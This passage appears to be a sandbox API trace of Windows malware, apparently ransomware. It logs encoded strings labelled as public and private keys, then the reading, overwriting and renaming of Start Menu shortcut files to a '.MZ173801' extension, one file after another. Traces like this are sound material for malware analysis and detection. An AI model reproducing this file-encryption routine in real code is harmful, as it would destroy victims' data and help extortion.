lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0214.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0214.225] GetCurrentThreadId () returned 0xab4 [0214.225] GetCurrentThreadId () returned 0xab4 [0214.225] GetCurrentThreadId () returned 0xab4 [0214.225] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.225] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0214.225] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.226] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x45a [0214.226] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.226] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x45a, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x45a, lpOverlapped=0x0) returned 1 [0214.345] CloseHandle (hObject=0x330) returned 1 [0214.345] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.346] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x45a, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x45a, lpOverlapped=0x0) returned 1 [0214.348] CloseHandle (hObject=0x330) returned 1 [0214.348] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Information.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system information.lnk.mz173801")) returned 1 [0214.349] GetCurrentThreadId () returned 0xab4 [0214.349] GetCurrentThreadId () returned 0xab4 [0214.349] GetCurrentThreadId () returned 0xab4 [0214.349] GetCurrentThreadId () returned 0xab4 [0214.349] GetCurrentThreadId () returned 0xab4 [0214.349] GetCurrentThreadId () returned 0xab4 [0214.349] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31dee28b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x31dee28b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x31dee28b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x46c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Task Scheduler.lnk", cAlternateFileName="")) returned 1 [0214.349] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0214.349] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0214.349] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31dee28b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x31dee28b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x31dee28b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x46c)) returned 1 [0214.349] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk")) returned 0x20 [0214.349] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk", dwFileAttributes=0x80) returned 1 [0214.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0214.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0214.353] GetCurrentThreadId () returned 0xab4 [0214.353] GetCurrentThreadId () returned 0xab4 [0214.353] GetCurrentThreadId () returned 0xab4 [0214.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0214.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0214.354] GetCurrentThreadId () returned 0xab4 [0214.354] GetCurrentThreadId () returned 0xab4 [0214.355] GetCurrentThreadId () returned 0xab4 [0214.355] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0214.355] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0214.355] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0214.355] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x46c 